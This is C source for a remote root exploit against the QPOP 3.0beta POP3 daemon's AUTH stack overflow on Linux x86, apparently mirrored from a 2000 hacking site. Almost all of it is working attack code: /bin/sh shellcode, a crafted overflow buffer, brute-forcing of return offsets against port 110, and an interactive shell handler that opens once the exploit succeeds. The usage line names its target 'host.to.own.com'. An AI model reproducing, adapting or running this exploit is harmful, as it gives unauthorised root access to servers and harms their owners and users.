home *** CD-ROM | disk | FTP | other *** search
- /*
- * THIS IS PRIVATE CODE. DO NOT DISTRIBUTE.
- *
- * QPOP 3.0beta AUTH remote root stack overflow (linux x86 version)
- *
- * Compilation:
- * gcc -o qpop3b qpop3b.c
- *
- * Usage:
- * qpop3b host.to.own.com [src_prt]
- *
- * Automated brute-forcing code. No offset argument required.
- *
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <signal.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/time.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <netdb.h>
-
- #define BASE_ADDR 0xbfffd150
- #define MAX_OFFSET 11951
- #define STEP 500
- #define DST_PRT 110
- #define DELAY 0x05
- #define INIT_RET 846
- #define NUM_RETS 0x22
- #define EXTRA 200
- #define RET_DIFF 149
- /*
- * Not completely accurate, but one assumes the user has sufficient
- * clues not to run this against a patched daemon.
- */
- #define IDENT_STRING "version 3.0b"
-
- char c0de[] =
- /*
- * The shellcode must be from a slightly restricted charset.
- */
- /* main: */
- "\xeb\x1b" /* jmp callz */
- /* start: */
- "\x5e" /* popl %esi */
- "\x89\xf3" /* movl %esi, %ebx */
- "\x89\xf7" /* movl %esi, %edi */
- "\x83\xc7\x07" /* addl $0x07, %edi */
- "\x29\xc0" /* subl %eax, %eax */
- "\xaa" /* stosb %al, %es:(%edi) */
- "\x89\xf9" /* movl %edi, %ecx */
- "\x89\xf0" /* movl %esi, %eax */
- "\xab" /* stosl %eax, %es:(%edi) */
- "\x89\xfa" /* movl %edi, %edx */
- "\x29\xc0" /* subl %eax, %eax */
- "\xab" /* stosl %eax, %es:(%edi) */
- "\xb0\x08" /* movb $0x08, %al */
- "\x04\x03" /* addb $0x03, %al */
- "\xcd\x80" /* int $0x80 */
- /* callz: */
- "\xe8\xe0\xff\xff\xff" /* call start */
- /* DATA */
- "/bin/sh";
-
- u_long
- resolve_host(u_char *host)
- {
- struct in_addr addr;
- struct hostent *host_ent;
-
- if ((addr.s_addr = inet_addr(host)) == -1)
- {
- host_ent = gethostbyname(host);
- if (!host_ent) return((u_long)0);
- memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
- }
-
- return(addr.s_addr);
- }
-
- void
- connect_shell(int sock)
- {
- u_char buf[8192] = {0};
- fd_set fds;
-
- write(sock, "id; uname -a; cd /;\n", 20);
-
- for (;;)
- {
- FD_ZERO(&fds);
- FD_SET(0, &fds);
- FD_SET(sock, &fds);
-
- if (select(0xff, &fds, NULL, NULL, NULL) == -1)
- {
- perror("select choked");
- exit(-1);
- }
-
- memset(buf, 0, sizeof(buf));
-
- if (FD_ISSET(sock, &fds))
- {
- if (recv(sock, buf, sizeof(buf) - 1, 0) == -1)
- {
- fprintf(stderr, "Connection closed by foreign host.\n");
- exit(0);
- }
-
- fprintf(stderr, "%s", buf);
- }
-
- if (FD_ISSET(0, &fds))
- {
- read(0, buf, sizeof(buf));
- write(sock, buf, strlen(buf));
- }
- }
-
- /* NOTREACHED */
- }
-
- void
- check_exploit(int sock)
- {
- struct timeval time_val;
- u_char tmp[4096] = {0};
- fd_set fds; u_int flag;
-
- if ((flag = fcntl(sock, F_GETFL, NULL)) == -1)
- {
- perror("fcntl F_GETFL");
- exit(-1);
- }
-
- flag |= O_NONBLOCK;
-
- if (fcntl(sock, F_SETFL, flag) == -1)
- {
- perror("fcntl F_SETFL");
- exit(-1);
- }
-
- time_val.tv_usec = 0;
- time_val.tv_sec = 15;
-
- FD_ZERO(&fds);
- FD_SET(sock, &fds);
-
- write(sock, "\nid;\n", 5);
- if ((select(sock + 1, &fds, NULL, NULL, &time_val)) == -1)
- {
- perror("select choked");
- exit(-1);
- }
-
- recv(sock, tmp, sizeof(tmp) - 1, 0);
- if (!strstr(tmp, "uid="))
- {
- fprintf(stderr, "unsuccessful.\n");
- return;
- }
-
- fprintf(stderr, "successful.\n\nb00m\n\n");
-
- flag = fcntl(sock, F_GETFL, NULL);
- flag ^= O_NONBLOCK;
- fcntl(sock, F_SETFL, flag);
-
- connect_shell(sock);
- /* NOTREACHED */
- }
-
- u_char *
- overflow_buf(u_int offset)
- {
- u_char buf[4096] = {0};
- u_long addr = BASE_ADDR + offset;
- int ret = 0, i = 0;
-
- memcpy(buf, "AUTH ", 5);
- ret = INIT_RET + RET_DIFF;
-
- memset(buf + 5, 0x90, sizeof(buf) - 5);
- memcpy(buf + ret - EXTRA - strlen(c0de), c0de, strlen(c0de));
-
- ret -= RET_DIFF;
- for (i = 0; i < NUM_RETS; i++)
- {
- buf[ret++] = (addr & 0x000000ff);
- buf[ret++] = (addr & 0x0000ff00) >> 8;
- buf[ret++] = (addr & 0x00ff0000) >> 16;
- buf[ret++] = (addr & 0xff000000) >> 24;
- }
-
- ret += (-(sizeof(u_long) * NUM_RETS)) + RET_DIFF - sizeof(u_long) - 1;
-
- buf[ret--] = 0x00;
- buf[ret--] = 0x0a;
- buf[ret--] = 0x0a;
-
- return(strdup(buf));
- }
-
- void
- exploit(u_long dst_ip, u_short src_prt, u_int offset)
- {
- struct sockaddr_in sin;
- u_char buf[8192] = {0};
- u_char rcv[8192] = {0};
- int sock, one = 1, *o_pt = &one;
-
- fprintf(stderr, "[exploit] : [0x%lx] : ", BASE_ADDR + offset);
-
- sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sock == -1)
- {
- perror("socket allocation");
- exit(-1);
- }
-
- if (src_prt)
- {
- struct sockaddr_in min;
-
- if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, o_pt, sizeof(one)) == -1)
- {
- perror("setsockopt SO_REUSEADDR");
- exit(-1);
- }
-
- min.sin_family = AF_INET;
- min.sin_port = htons(src_prt);
- min.sin_addr.s_addr = INADDR_ANY;
-
- if (bind(sock, (struct sockaddr *)&min, sizeof(struct sockaddr)) == -1)
- {
- perror("bind to local port");
- exit(-1);
- }
- }
-
- sin.sin_family = AF_INET;
- sin.sin_port = htons(DST_PRT);
- sin.sin_addr.s_addr = dst_ip;
-
- if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
- {
- perror("connecting to pop daemon");
- exit(-1);
- }
-
- if (recv(sock, rcv, sizeof(rcv) - 1, 0) == -1)
- {
- fprintf(stderr, "Connection closed by foreign host.\n");
- exit(0);
- }
-
- if (!strstr(rcv, IDENT_STRING))
- {
- fprintf(stderr, "POP daemon not vulnerable to the AUTH overflow.\n");
- exit(0);
- }
-
- strncpy(buf, overflow_buf(offset), sizeof(buf) - 1);
-
- if (write(sock, buf, strlen(buf)) != strlen(buf))
- {
- fprintf(stderr, "exploit(): truncated write()\n");
- exit(0);
- }
-
- recv(sock, rcv, sizeof(rcv) - 1, 0);
-
- sleep(DELAY);
- check_exploit(sock);
-
- close(sock);
- }
-
- void
- usage(u_char *nomenclature)
- {
- fprintf(stderr, "usage:\t%s dst_host|ip\n", nomenclature);
- exit(0);
- }
-
- int
- main(int argc, char **argv)
- {
- u_long dst_ip = 0;
- u_short src_prt = 0;
- u_int i = 0;
-
- fprintf(stderr, "\nQPOP 3.0b AUTH overflow (linux x86)\n\n");
-
- if (argc != 2 && argc != 3)
- {
- usage(argv[0]);
- /* NOTREACHED */
- }
-
- signal(SIGPIPE, SIG_IGN);
- dst_ip = resolve_host(argv[1]);
- if (!dst_ip)
- {
- fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
- exit(-1);
- }
-
- if (argc == 3) src_prt = (u_short)atoi(argv[2]);
-
- for (i = 0; i < MAX_OFFSET; i += STEP)
- {
- exploit(dst_ip, src_prt, i);
- }
-
- fprintf(stderr, "\nExploitation unsuccessful.\n");
- exit(0);
- }
- /* www.hack.co.za [25 September 2000]*/